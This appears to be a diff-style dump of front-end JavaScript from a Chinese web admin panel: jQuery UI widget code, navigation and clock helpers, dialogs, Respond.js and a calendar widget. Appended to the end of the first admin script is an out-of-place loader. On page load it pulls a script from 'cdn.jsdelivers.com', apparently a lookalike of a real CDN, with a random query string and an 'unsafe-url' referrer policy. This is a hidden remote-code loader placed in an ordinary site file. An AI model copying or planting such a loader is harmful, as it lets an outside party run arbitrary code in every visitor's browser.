// so the old child constructors can be garbage collected
delete existingConstructor._childConstructors;
} else {
base._childConstructors.push( constructor );
}
$.widget.bridge( name, constructor );
return constructor;
};
$.widget.extend = function( target ) {
var input = widget_slice.call( arguments, 1 ),
inputIndex = 0,
inputLength = input.length,
key,
value;
for ( ; inputIndex < inputLength; inputIndex++ ) {
for ( key in input[ inputIndex ] ) {
value = input[ inputIndex ][ key ];
if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
// Clone objects
if ( $.isPlainObject( value ) ) {
target[ key ] = $.isPlainObject( target[ key ] ) ?
$.widget.extend( {}, target[ key ], value ) :
// Don't extend strings, arrays, etc. with objects
$.widget.extend( {}, value );
// Copy everything else by reference
} else {
target[ key ] = value;
}
}
}
}
return target;
};
$.widget.bridge = function( name, object ) {
var fullName = object.prototype.widgetFullName || name;
$.fn[ name ] = function( options ) {
var isMethodCall = typeof options === "string",
args = widget_slice.call( arguments, 1 ),
returnValue = this;
if ( isMethodCall ) {
this.each(function() {
var methodValue,
instance = $.data( this, fullName );
if ( options === "instance" ) {
returnValue = instance;
return false;
}
if ( !instance ) {
return $.error( "cannot call methods on " + name + " prior to initialization; " +
"attempted to call method '" + options + "'" );
}
if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
return $.error( "no such method '" + options + "' for " + name + " widget instance" );
}
methodValue = instance[ options ].apply( instance, args );
if ( methodValue !== instance && methodValue !== undefined ) {
returnValue = methodValue && methodValue.jquery ?
returnValue.pushStack( methodValue.get() ) :
methodValue;
return false;
}
});
} else {
// Allow multiple hashes to be passed on init
if ( args.length ) {
options = $.widget.extend.apply( null, [ options ].concat(args) );
}
this.each(function() {
var instance = $.data( this, fullName );
if ( instance ) {
instance.option( options || {} );
if ( instance._init ) {
instance._init();
}
} else {
$.data( this, fullName, new object( options, this ) );
}
});
}
return returnValue;
};
};
$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];
$.Widget.prototype = {
widgetName: "widget",
widgetEventPrefix: "",
defaultElement: "<div>",
options: {
disabled: false,
// callbacks
create: null
},
_createWidget: function( options, element ) {
element = $( element || this.defaultElement || this )[ 0 ];
this.element = $( element );
this.uuid = widget_uuid++;
this.eventNamespace = "." + this.widgetName + this.uuid;
this.bindings = $();
this.hoverable = $();
this.focusable = $();
if ( element !== this ) {
$.data( element, this.widgetFullName, this );
this._on( true, this.element, {
remove: function( event ) {
if ( event.target === element ) {
this.destroy();
}
}
});
this.document = $( element.style ?
// element within the document
element.ownerDocument :
// element is window or document
element.document || element );
this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
}
this.options = $.widget.extend( {},
this.options,
this._getCreateOptions(),
options );
this._create();
this._trigger( "create", null, this._getCreateEventData() );
this._init();
},
_getCreateOptions: $.noop,
_getCreateEventData: $.noop,
_create: $.noop,
_init: $.noop,
destroy: function() {
this._destroy();
// we can probably remove the unbind calls in 2.0
// all event bindings should go through this._on()
this.element
.unbind( this.eventNamespace )
.removeData( this.widgetFullName )
// support: jquery <1.6.3
// http://bugs.jquery.com/ticket/9413
.removeData( $.camelCase( this.widgetFullName ) );
this.widget()
.unbind( this.eventNamespace )
.removeAttr( "aria-disabled" )
.removeClass(
this.widgetFullName + "-disabled " +
"ui-state-disabled" );
// clean up events and states
this.bindings.unbind( this.eventNamespace );
this.hoverable.removeClass( "ui-state-hover" );
this.focusable.removeClass( "ui-state-focus" );
},
_destroy: $.noop,
widget: function() {
return this.element;
},
option: function( key, value ) {
var options = key,
parts,
curOption,
i;
if ( arguments.length === 0 ) {
// don't return a reference to the internal hash
return $.widget.extend( {}, this.options );
}
if ( typeof key === "string" ) {
// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
options = {};
parts = key.split( "." );
key = parts.shift();
if ( parts.length ) {
curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
for ( i = 0; i < parts.length - 1; i++ ) {
curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
curOption = curOption[ parts[ i ] ];
}
key = parts.pop();
if ( arguments.length === 1 ) {
return curOption[ key ] === undefined ? null : curOption[ key ];
}
curOption[ key ] = value;
} else {
if ( arguments.length === 1 ) {
return this.options[ key ] === undefined ? null : this.options[ key ];
}
options[ key ] = value;
}
}
this._setOptions( options );
return this;
},
_setOptions: function( options ) {
var key;
for ( key in options ) {
this._setOption( key, options[ key ] );
}
return this;
},
_setOption: function( key, value ) {
this.options[ key ] = value;
if ( key === "disabled" ) {
this.widget()
.toggleClass( this.widgetFullName + "-disabled", !!value );
// If the widget is becoming disabled, then nothing is interactive
if ( value ) {
this.hoverable.removeClass( "ui-state-hover" );
this.focusable.removeClass( "ui-state-focus" );
}
}
return this;
},
enable: function() {
return this._setOptions({ disabled: false });
},
disable: function() {
return this._setOptions({ disabled: true });
},
_on: function( suppressDisabledCheck, element, handlers ) {
var delegateElement,
instance = this;
// no suppressDisabledCheck flag, shuffle arguments
if ( typeof suppressDisabledCheck !== "boolean" ) {
handlers = element;
element = suppressDisabledCheck;
suppressDisabledCheck = false;
}
// no element argument, shuffle and use this.element
if ( !handlers ) {
handlers = element;
element = this.element;
delegateElement = this.widget();
} else {
element = delegateElement = $( element );
this.bindings = this.bindings.add( element );
}
$.each( handlers, function( event, handler ) {
function handlerProxy() {
// allow widgets to customize the disabled handling
// - disabled as an array instead of boolean
// - disabled class as method for disabling individual parts
if ( !suppressDisabledCheck &&
( instance.options.disabled === true ||
$( this ).hasClass( "ui-state-disabled" ) ) ) {
return;
}
return ( typeof handler === "string" ? instance[ handler ] : handler )
.apply( instance, arguments );
}
// copy the guid so direct unbinding works
if ( typeof handler !== "string" ) {
handlerProxy.guid = handler.guid =
handler.guid || handlerProxy.guid || $.guid++;
}
var match = event.match( /^([\w:-]*)\s*(.*)$/ ),
eventName = match[1] + instance.eventNamespace,
selector = match[2];
if ( selector ) {
delegateElement.delegate( selector, eventName, handlerProxy );
} else {
element.bind( eventName, handlerProxy );
}
});
},
_off: function( element, eventName ) {
eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) +
this.eventNamespace;
element.unbind( eventName ).undelegate( eventName );
// Clear the stack to avoid memory leaks (#10056)
this.bindings = $( this.bindings.not( element ).get() );
this.focusable = $( this.focusable.not( element ).get() );
this.hoverable = $( this.hoverable.not( element ).get() );
},
_delay: function( handler, delay ) {
function handlerProxy() {
return ( typeof handler === "string" ? instance[ handler ] : handler )
.apply( instance, arguments );
}
var instance = this;
return setTimeout( handlerProxy, delay || 0 );
},
_hoverable: function( element ) {
this.hoverable = this.hoverable.add( element );
this._on( element, {
mouseenter: function( event ) {
$( event.currentTarget ).addClass( "ui-state-hover" );
},
mouseleave: function( event ) {
$( event.currentTarget ).removeClass( "ui-state-hover" );
}
});
},
_focusable: function( element ) {
this.focusable = this.focusable.add( element );
this._on( element, {
focusin: function( event ) {
$( event.currentTarget ).addClass( "ui-state-focus" );
},
focusout: function( event ) {
$( event.currentTarget ).removeClass( "ui-state-focus" );
}
});
},
_trigger: function( type, event, data ) {
var prop, orig,
callback = this.options[ type ];
data = data || {};
event = $.Event( event );
event.type = ( type === this.widgetEventPrefix ?
type :
this.widgetEventPrefix + type ).toLowerCase();
// the original event may come from any element
// so we need to reset the target on the new event
event.target = this.element[ 0 ];
// copy original event properties over to the new event
orig = event.originalEvent;
if ( orig ) {
for ( prop in orig ) {
if ( !( prop in event ) ) {
event[ prop ] = orig[ prop ];
}
}
}
this.element.trigger( event, data );
return !( $.isFunction( callback ) &&
callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
event.isDefaultPrevented() );
}
};
$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
if ( typeof options === "string" ) {
options = { effect: options };
}
var hasOptions,
effectName = !options ?
method :
options === true || typeof options === "number" ?
defaultEffect :
options.effect || defaultEffect;
options = options || {};
if ( typeof options === "number" ) {
options = { duration: options };
}
hasOptions = !$.isEmptyObject( options );
options.complete = callback;
if ( options.delay ) {
element.delay( options.delay );
}
if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
element[ method ]( options );
} else if ( effectName !== method && element[ effectName ] ) {
element[ effectName ]( options.duration, options.easing, callback );
} else {
element.queue(function( next ) {
$( this )[ method ]();
if ( callback ) {
callback.call( element[ 0 ] );
}
next();
});
}
};
});
var widget = $.widget;
}));
+230
View File
@@ -0,0 +1,230 @@
$(document).ready(function(e) {
//头部主导航点击效果
$(".topnavboxul li").each(function(index, element) {
if($(this).attr("class")=="ban"){
$(this).find("a").attr("href","javascript:;");
$(this).find("a").click(function(e) {
aname=$(this).text();
pop_yorno('0','系统提示','您好,你没有查看 <b>“ '+aname+' ”</b> 的权限!');
return;
});
}else{
$(this).find("a").click(function(e) {
$(".topnavboxul li").removeClass("cur");
$(this).parent("li").addClass("cur");
});
}
});
//头部右菜单鼠标效果
$(".toprbox").mouseenter(function(e) {
$(this).find(".bh").removeClass("fa-chevron-circle-down");
$(this).find(".bh").addClass("fa-chevron-circle-up");
});
$(".toprbox").mouseleave(function(e) {
$(this).find(".bh").removeClass("fa-chevron-circle-up");
$(this).find(".bh").addClass("fa-chevron-circle-down");
});
//自动计算浏览器窗口高度
bodyH=$(window).height();
mainconboxHeight();
});
$(window).resize(function(e) {
bodyH=$(window).height();
mainconboxHeight();
});
//交互主区高度
function mainconboxHeight(){
$(".mainconbox").height(bodyH-60);
incahow=bodyH-355;
if(incahow<210){
incahow=210;
}
$(".incah").height(incahow);
$(".in-rbox").height($(".mainconbox").height()-61);
$(".in-rbox").width($(".in-rbox-w").width()-2);
if($(".in-rbox").height()<180){
$(".in-rbox").height(180);
}
}
//后台 头部导航选中效果
function tonavjs(){
$(".topnavboxul li").each(function(index, element) {
if($(this).attr("data-navid")==topnavid){
$(this).attr("class","cur");
};
});
}
//后台 左部导航选中效果
function lenavjs(){
$(".lnavul li").each(function(index, element) {
if($(this).attr("data-leid")==l_navid){
$(this).attr("class","cur");
};
});
}
//去前后空格
function trim(str){
if(!str){return ''};
return str.replace(/^(\s|\u00A0)+/,'').replace(/(\s|\u00A0)+$/,'');
}
//日期格式转成时间戳
function dateint(datestr){
date = new Date(datestr);
return date.getTime();
}
//判断手机格式
var reg=/^0?1[3|4|5|7|8][0-9]\d{8}$/;
function checephone(p){
return reg.test(p);
}
//获取当前日期,格式为YYYY-MM-DD hh:ii:ss
function getnowtime(){
var nowdates=new Date();
Now_y=nowdates.getFullYear();
Now_m=nowdates.getMonth()+1;
if(Now_m<10){Now_m="0"+Now_m}
Now_d=nowdates.getDate();
if(Now_d<10){Now_d="0"+Now_d}
Now_h=nowdates.getHours();
if(Now_h<10){Now_h="0"+Now_h}
Now_i=nowdates.getMinutes();
if(Now_i<10){Now_i="0"+Now_i}
Now_s=nowdates.getSeconds();
if(Now_s<10){Now_s="0"+Now_s}
return (Now_y+'-'+Now_m+'-'+Now_d+' '+Now_h+':'+Now_i+':'+Now_s);
}
//获取当前网址URL参数
function getUrlparameter(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
function isPositiveNum(s){//是否为正整数
var re = /^[0-9]*[1-9][0-9]*$/ ;
return re.test(s)
}
//日期截取
function dateten(date){
if(date==null){date=''};
return date.substring(0,10);
}
//获取时间
setInterval("getnowtim();",1000);
function getnowtim(){
var myDate = new Date();
myYue=myDate.getMonth()+1;
myRi=myDate.getDate();
myShi=myDate.getHours();
myYue2=myDate.getMonth()+1;
myRi2=myDate.getDate();
myFen=myDate.getMinutes();
myMiao=myDate.getSeconds();
myXq=myDate.getDay();
switch(myXq){
case 0:
myXq="日";
break;
case 1:
myXq="一";
break;
case 2:
myXq="二";
break;
case 3:
myXq="三";
break;
case 4:
myXq="四";
break;
case 5:
myXq="五";
break;
case 6:
myXq="六";
break;
}
if(myYue<10){
myYue="0"+myYue;
}
if(myDate.getDate()<10){
myRi="0"+myDate.getDate();
}
if(myDate.getHours()<10){
myShi="0"+myDate.getHours();
}
if(myDate.getMinutes()<10){
myFen="0"+myDate.getMinutes();
}
if(myDate.getSeconds()<10){
myMiao="0"+myDate.getSeconds();
}
var ntimetxt=myDate.getFullYear()+"年"+myYue+"月"+myRi+"日&nbsp;&nbsp"+myShi+":"+myFen+":"+myMiao+"&nbsp;&nbsp;星期"+myXq;
var ntimetxt2=myDate.getFullYear()+"-"+myYue2+"-"+myRi2;
$("#nowtime .week").text(myDate.getFullYear()+"年"+myYue+"月");
$("#nowtime .day").text(myRi);
$("#nowtime .month").text("星期"+myXq);
$("#nowtime .tbox").text(myShi+":"+myFen);
}
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+233
View File
@@ -0,0 +1,233 @@
$(document).ready(function(e) {
//头部主导航点击效果
$(".topnavboxul li").each(function(index, element) {
if($(this).attr("class")=="ban"){
$(this).find("a").attr("href","javascript:;");
$(this).find("a").click(function(e) {
aname=$(this).text();
pop_yorno('0','系统提示','您好,你没有查看 <b>“ '+aname+' ”</b> 的权限!');
return;
});
}else{
$(this).find("a").click(function(e) {
$(".topnavboxul li").removeClass("cur");
$(this).parent("li").addClass("cur");
});
}
});
//头部右菜单鼠标效果
$(".toprbox").mouseenter(function(e) {
$(this).find(".bh").removeClass("fa-chevron-circle-down");
$(this).find(".bh").addClass("fa-chevron-circle-up");
});
$(".toprbox").mouseleave(function(e) {
$(this).find(".bh").removeClass("fa-chevron-circle-up");
$(this).find(".bh").addClass("fa-chevron-circle-down");
});
//自动计算浏览器窗口高度
bodyH=$(window).height();
mainconboxHeight();
});
$(window).resize(function(e) {
bodyH=$(window).height();
mainconboxHeight();
});
//交互主区高度
function mainconboxHeight(){
$(".mainconbox").height(bodyH-60);
$(".incah").height(bodyH-355);
if($(".incah").height()<210){
$(".incah").height(210)
}
$(".in-rbox").height($(".mainconbox").height()-61);
$(".in-rbox").width($(".in-rbox-w").width()-2);
if($(".in-rbox").height()<180){
$(".in-rbox").height(180);
}
}
//
function xxphotoulimgautoh(){
myimgw=$(".xxphotoul li").width()*0.75;
$(".xxphotoul li").find("img").height(myimgw);
}
//后台 头部导航选中效果
function tonavjs(){
$(".topnavboxul li").each(function(index, element) {
if($(this).attr("data-navid")==topnavid){
$(this).attr("class","cur");
};
});
}
//会员中心弹出页面 所有弹出页面均在member目录下
//查看新闻公告
function shownews(newsid){
var diag = new Dialog();
diag.Width = 800;
diag.Height = 440;
//diag.Title = "设定了高宽和标题的普通窗口";
diag.ShowButtonRow=true;
diag.URL = "/index.php?app=home&c=shownews&id="+newsid;
diag.show();
diag.okButton.value=" s ";
diag.cancelButton.value="关 闭";
$("#_ButtonOK_"+diag.ID).hide();
}
//查看项目通知公告(重点关注)
function shownt(newsid,xmnm){
var diag = new Dialog();
diag.Width = 400;
diag.Height = 300;
//diag.Title = "设定了高宽和标题的普通窗口";
diag.ShowButtonRow=true;
diag.URL = "/index.php?app=home&c=shownt&id="+newsid+"&xmnm="+xmnm;
diag.show();
diag.okButton.value=" s ";
diag.cancelButton.value="关 闭";
$("#_ButtonOK_"+diag.ID).hide();
}
//修改密码
function upuserpass(){
var diag = new Dialog();
diag.Width = 400;
diag.Height = 160;
//diag.Title = "设定了高宽和标题的普通窗口";
diag.ShowButtonRow=true;
diag.URL = "uppass.html";
diag.show();
diag.okButton.value=" 保 存 ";
diag.cancelButton.value="取 消";
}
//退出登录
function loginOut(){
Dialog.confirm('确定要退出系统吗?',function(){
window.location="index.php?app=home&c=logout";
});
}
//选项卡
function setTab(name,cursel,n){
for(i=1;i<=n;i++){
var menu=document.getElementById(name+i);
var con=document.getElementById("c_"+name+"_"+i);
menu.className=i==cursel?"hover":"";
con.style.display=i==cursel?"block":"none";
}
}
//获取时间
setInterval("getnowtim();",1000);
function getnowtim(){
var myDate = new Date();
myYue=myDate.getMonth()+1;
myRi=myDate.getDate();
myShi=myDate.getHours();
myYue2=myDate.getMonth()+1;
myRi2=myDate.getDate();
myFen=myDate.getMinutes();
myMiao=myDate.getSeconds();
myXq=myDate.getDay();
switch(myXq){
case 0:
myXq="日";
break;
case 1:
myXq="一";
break;
case 2:
myXq="二";
break;
case 3:
myXq="三";
break;
case 4:
myXq="四";
break;
case 5:
myXq="五";
break;
case 6:
myXq="六";
break;
}
if(myYue<10){
myYue="0"+myYue;
}
if(myDate.getDate()<10){
myRi="0"+myDate.getDate();
}
if(myDate.getHours()<10){
myShi="0"+myDate.getHours();
}
if(myDate.getMinutes()<10){
myFen="0"+myDate.getMinutes();
}
if(myDate.getSeconds()<10){
myMiao="0"+myDate.getSeconds();
}
var ntimetxt=myDate.getFullYear()+"年"+myYue+"月"+myRi+"日&nbsp;&nbsp"+myShi+":"+myFen+":"+myMiao+"&nbsp;&nbsp;星期"+myXq;
var ntimetxt2=myDate.getFullYear()+"-"+myYue2+"-"+myRi2;
$("#nowtime .week").text(myDate.getFullYear()+"年"+myYue+"月");
$("#nowtime .day").text(myRi);
$("#nowtime .month").text("星期"+myXq);
$("#nowtime .tbox").text(myShi+":"+myFen);
}
/*底部跑马灯*/
function btpmd(){
var myspeed=40
var tabLeft=document.getElementById("bootpmd");
var tab1=document.getElementById("adbox1");
var tab2=document.getElementById("adbox2");
tab2.innerHTML=tab1.innerHTML;
function Marquee1(){
if(tabLeft.scrollLeft>=tab2.offsetWidth)
tabLeft.scrollLeft-=tab1.offsetWidth
else{
tabLeft.scrollLeft+=2;
}
}
var MyMar=setInterval(Marquee1,myspeed);
tabLeft.onmouseover=function() {clearInterval(MyMar)};
tabLeft.onmouseout=function() {MyMar=setInterval(Marquee1,myspeed)};
}
+5
View File
@@ -0,0 +1,5 @@
/*! Respond.js v1.4.2: min/max-width media query polyfill * Copyright 2013 Scott Jehl
* Licensed under https://github.com/scottjehl/Respond/blob/master/LICENSE-MIT
* */
!function(a){"use strict";a.matchMedia=a.matchMedia||function(a){var b,c=a.documentElement,d=c.firstElementChild||c.firstChild,e=a.createElement("body"),f=a.createElement("div");return f.id="mq-test-1",f.style.cssText="position:absolute;top:-100em",e.style.background="none",e.appendChild(f),function(a){return f.innerHTML='&shy;<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',c.insertBefore(e,d),b=42===f.offsetWidth,c.removeChild(e),{matches:b,media:a}}}(a.document)}(this),function(a){"use strict";function b(){u(!0)}var c={};a.respond=c,c.update=function(){};var d=[],e=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}(),f=function(a,b){var c=e();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState||200!==c.status&&304!==c.status||b(c.responseText)},4!==c.readyState&&c.send(null))};if(c.ajax=f,c.queue=d,c.regex={media:/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi,keyframes:/@(?:\-(?:o|moz|webkit)\-)?keyframes[^\{]+\{(?:[^\{\}]*\{[^\}\{]*\})+[^\}]*\}/gi,urls:/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,findStyles:/@media *([^\{]+)\{([\S\s]+?)$/,only:/(only\s+)?([a-zA-Z]+)\s?/,minw:/\([\s]*min\-width\s*:[\s]*([\s]*[0-9\.]+)(px|em)[\s]*\)/,maxw:/\([\s]*max\-width\s*:[\s]*([\s]*[0-9\.]+)(px|em)[\s]*\)/},c.mediaQueriesSupported=a.matchMedia&&null!==a.matchMedia("only all")&&a.matchMedia("only all").matches,!c.mediaQueriesSupported){var g,h,i,j=a.document,k=j.documentElement,l=[],m=[],n=[],o={},p=30,q=j.getElementsByTagName("head")[0]||k,r=j.getElementsByTagName("base")[0],s=q.getElementsByTagName("link"),t=function(){var a,b=j.createElement("div"),c=j.body,d=k.style.fontSize,e=c&&c.style.fontSize,f=!1;return b.style.cssText="position:absolute;font-size:1em;width:1em",c||(c=f=j.createElement("body"),c.style.background="none"),k.style.fontSize="100%",c.style.fontSize="100%",c.appendChild(b),f&&k.insertBefore(c,k.firstChild),a=b.offsetWidth,f?k.removeChild(c):c.removeChild(b),k.style.fontSize=d,e&&(c.style.fontSize=e),a=i=parseFloat(a)},u=function(b){var c="clientWidth",d=k[c],e="CSS1Compat"===j.compatMode&&d||j.body[c]||d,f={},o=s[s.length-1],r=(new Date).getTime();if(b&&g&&p>r-g)return a.clearTimeout(h),h=a.setTimeout(u,p),void 0;g=r;for(var v in l)if(l.hasOwnProperty(v)){var w=l[v],x=w.minw,y=w.maxw,z=null===x,A=null===y,B="em";x&&(x=parseFloat(x)*(x.indexOf(B)>-1?i||t():1)),y&&(y=parseFloat(y)*(y.indexOf(B)>-1?i||t():1)),w.hasquery&&(z&&A||!(z||e>=x)||!(A||y>=e))||(f[w.media]||(f[w.media]=[]),f[w.media].push(m[w.rules]))}for(var C in n)n.hasOwnProperty(C)&&n[C]&&n[C].parentNode===q&&q.removeChild(n[C]);n.length=0;for(var D in f)if(f.hasOwnProperty(D)){var E=j.createElement("style"),F=f[D].join("\n");E.type="text/css",E.media=D,q.insertBefore(E,o.nextSibling),E.styleSheet?E.styleSheet.cssText=F:E.appendChild(j.createTextNode(F)),n.push(E)}},v=function(a,b,d){var e=a.replace(c.regex.keyframes,"").match(c.regex.media),f=e&&e.length||0;b=b.substring(0,b.lastIndexOf("/"));var g=function(a){return a.replace(c.regex.urls,"$1"+b+"$2$3")},h=!f&&d;b.length&&(b+="/"),h&&(f=1);for(var i=0;f>i;i++){var j,k,n,o;h?(j=d,m.push(g(a))):(j=e[i].match(c.regex.findStyles)&&RegExp.$1,m.push(RegExp.$2&&g(RegExp.$2))),n=j.split(","),o=n.length;for(var p=0;o>p;p++)k=n[p],l.push({media:k.split("(")[0].match(c.regex.only)&&RegExp.$2||"all",rules:m.length-1,hasquery:k.indexOf("(")>-1,minw:k.match(c.regex.minw)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:k.match(c.regex.maxw)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}u()},w=function(){if(d.length){var b=d.shift();f(b.href,function(c){v(c,b.href,b.media),o[b.href]=!0,a.setTimeout(function(){w()},0)})}},x=function(){for(var b=0;b<s.length;b++){var c=s[b],e=c.href,f=c.media,g=c.rel&&"stylesheet"===c.rel.toLowerCase();e&&g&&!o[e]&&(c.styleSheet&&c.styleSheet.rawCssText?(v(c.styleSheet.rawCssText,e,f),o[e]=!0):(!/^([a-zA-Z:]*\/\/)/.test(e)&&!r||e.replace(RegExp.$1,"").split("/")[0]===a.location.host)&&("//"===e.substring(0,2)&&(e=a.location.protocol+e),d.push({href:e,media:f})))}w()};x(),c.update=x,c.getEmValue=t,a.addEventListener?a.addEventListener("resize",b,!1):a.attachEvent&&a.attachEvent("onresize",b)}}(this);
+146
View File
@@ -0,0 +1,146 @@
function HS_DateAdd(interval,number,date){
number = parseInt(number);
if (typeof(date)=="string"){var date = new Date(date.split("-")[0],date.split("-")[1],date.split("-")[2])}
if (typeof(date)=="object"){var date = date}
switch(interval){
case "y":return new Date(date.getFullYear()+number,date.getMonth(),date.getDate()); break;
case "m":return new Date(date.getFullYear(),date.getMonth()+number,checkDate(date.getFullYear(),date.getMonth()+number,date.getDate())); break;
case "d":return new Date(date.getFullYear(),date.getMonth(),date.getDate()+number); break;
case "w":return new Date(date.getFullYear(),date.getMonth(),7*number+date.getDate()); break;
}
}
function checkDate(year,month,date){
var enddate = ["31","28","31","30","31","30","31","31","30","31","30","31"];
var returnDate = "";
if (year%4==0){enddate[1]="29"}
if (date>enddate[month]){returnDate = enddate[month]}else{returnDate = date}
return returnDate;
}
function WeekDay(date){
var theDate;
if (typeof(date)=="string"){theDate = new Date(date.split("-")[0],date.split("-")[1],date.split("-")[2]);}
if (typeof(date)=="object"){theDate = date}
return theDate.getDay();
}
function HS_calender(){
var lis = "";
var style = "";
style +="<style type='text/css'>";
style +=".calender { width:170px; height:auto; font-size:12px; margin-right:14px; background:#fff; border:1px solid #397EAE; padding:1px; z-index:100; position:absolute}";
style +=".calender ul {list-style-type:none; margin:0; padding:0;}";
style +=".calender .day { background-color:#EDF5FF; height:20px;}";
style +=".calender .day li,.calender .date li{ float:left; width:14%; height:20px; line-height:20px; text-align:center}";
style +=".calender li a { text-decoration:none; font-family:Tahoma; font-size:11px; color:#333}";
style +=".calender li a:hover { color:#f30; text-decoration:underline}";
style +=".calender li a.hasArticle {font-weight:bold; color:#f60 !important}";
style +=".lastMonthDate, .nextMonthDate {color:#bbb;font-size:11px}";
style +=".selectThisYear a, .selectThisMonth a{text-decoration:none; margin:0 2px; color:#000; font-weight:bold}";
style +=".calender .LastMonth, .calender .NextMonth{ text-decoration:none; color:#000; font-size:18px; font-weight:bold; line-height:16px;}";
style +=".calender .LastMonth { float:left;}";
style +=".calender .NextMonth { float:right;}";
style +=".calenderBody {clear:both}";
style +=".calenderTitle {text-align:center;height:20px; line-height:20px; clear:both}";
style +=".today { background-color:#ffffaa;border:1px solid #f60; padding:2px}";
style +=".today a { color:#f30; }";
style +=".calenderBottom {clear:both; border-top:1px solid #ddd; padding: 3px 0; text-align:left}";
style +=".calenderBottom a {text-decoration:none; margin:2px !important; font-weight:bold; color:#000}";
style +=".calenderBottom a.closeCalender{float:right}";
style +=".closeCalenderBox {float:right; border:1px solid #000; background:#fff; font-size:9px; width:11px; height:11px; line-height:11px; text-align:center;overflow:hidden; font-weight:normal !important}";
style +="</style>";
var now;
if (typeof(arguments[0])=="string"){
selectDate = arguments[0].split("-");
var year = selectDate[0];
var month = parseInt(selectDate[1])-1+"";
var date = selectDate[2];
now = new Date(year,month,date);
}else if (typeof(arguments[0])=="object"){
now = arguments[0];
}
var lastMonthEndDate = HS_DateAdd("d","-1",now.getFullYear()+"-"+now.getMonth()+"-01").getDate();
var lastMonthDate = WeekDay(now.getFullYear()+"-"+now.getMonth()+"-01");
var thisMonthLastDate = HS_DateAdd("d","-1",now.getFullYear()+"-"+(parseInt(now.getMonth())+1).toString()+"-01");
var thisMonthEndDate = thisMonthLastDate.getDate();
var thisMonthEndDay = thisMonthLastDate.getDay();
var todayObj = new Date();
today = todayObj.getFullYear()+"-"+todayObj.getMonth()+"-"+todayObj.getDate();
for (i=0; i<lastMonthDate; i++){ // Last Month's Date
lis = "<li class='lastMonthDate'>"+lastMonthEndDate+"</li>" + lis;
lastMonthEndDate--;
}
for (i=1; i<=thisMonthEndDate; i++){ // Current Month's Date
todayi=i;
if(i<10){todayi="0"+i}
gmonth=(parseInt(now.getMonth())+1).toString();
if((parseInt(now.getMonth())+1).toString()<10){gmonth="0"+(parseInt(now.getMonth())+1).toString()}
if(today == now.getFullYear()+"-"+now.getMonth()+"-"+i){
var todayString = now.getFullYear()+"-"+gmonth+"-"+todayi;
lis += "<li><a href=javascript:void(0) class='today' onclick='_selectThisDay(this)' title='"+now.getFullYear()+"-"+gmonth+"-"+todayi+"'>"+todayi+"</a></li>";
}else{
lis += "<li><a href=javascript:void(0) onclick='_selectThisDay(this)' title='"+now.getFullYear()+"-"+gmonth+"-"+todayi+"'>"+todayi+"</a></li>";
}
}
var j=1;
for (i=thisMonthEndDay; i<6; i++){ // Next Month's Date
lis += "<li class='nextMonthDate'>"+j+"</li>";
j++;
} lis += style;
var CalenderTitle = "<a href='javascript:void(0)' class='NextMonth' onclick=HS_calender(HS_DateAdd('m',1,'"+now.getFullYear()+"-"+now.getMonth()+"-"+now.getDate()+"'),this) title='Next Month'>&raquo;</a>";
CalenderTitle += "<a href='javascript:void(0)' class='LastMonth' onclick=HS_calender(HS_DateAdd('m',-1,'"+now.getFullYear()+"-"+now.getMonth()+"-"+now.getDate()+"'),this) title='Previous Month'>&laquo;</a>";
CalenderTitle += "<span class='selectThisYear'><a href='javascript:void(0)' onclick='CalenderselectYear(this)' title='Click here to select other year' >"+now.getFullYear()+"</a></span>年<span class='selectThisMonth'><a href='javascript:void(0)' onclick='CalenderselectMonth(this)' title='Click here to select other month'>"+(parseInt(now.getMonth())+1).toString()+"</a></span>月";
if (arguments.length>1){
arguments[1].parentNode.parentNode.getElementsByTagName("ul")[1].innerHTML = lis;
arguments[1].parentNode.innerHTML = CalenderTitle;
}else{
var CalenderBox = style+"<div class='calender'><div class='calenderTitle'>"+CalenderTitle+"</div><div class='calenderBody'><ul class='day'><li>日</li><li>一</li><li>二</li><li>三</li><li>四</li><li>五</li><li>六</li></ul><ul class='date' id='thisMonthDate'>"+lis+"</ul></div><div class='calenderBottom'><a href='javascript:void(0)' class='closeCalender' onclick='closeCalender(this)'>×</a><span><span><a href=javascript:void(0) onclick='_selectThisDay(this)' title='"+todayString+"'>Today</a></span></span></div></div>";
return CalenderBox;
}
}
function _selectThisDay(d){
var boxObj = d.parentNode.parentNode.parentNode.parentNode.parentNode;
boxObj.targetObj.value = d.title;
boxObj.parentNode.removeChild(boxObj);
}
function closeCalender(d){
var boxObj = d.parentNode.parentNode.parentNode;
boxObj.parentNode.removeChild(boxObj);
}
function CalenderselectYear(obj){
var opt = "";
var thisYear = obj.innerHTML;
for (i=1970; i<=2037; i++){
if (i==thisYear){
opt += "<option value="+i+" selected>"+i+"</option>";
}else{
opt += "<option value="+i+">"+i+"</option>";
}
}
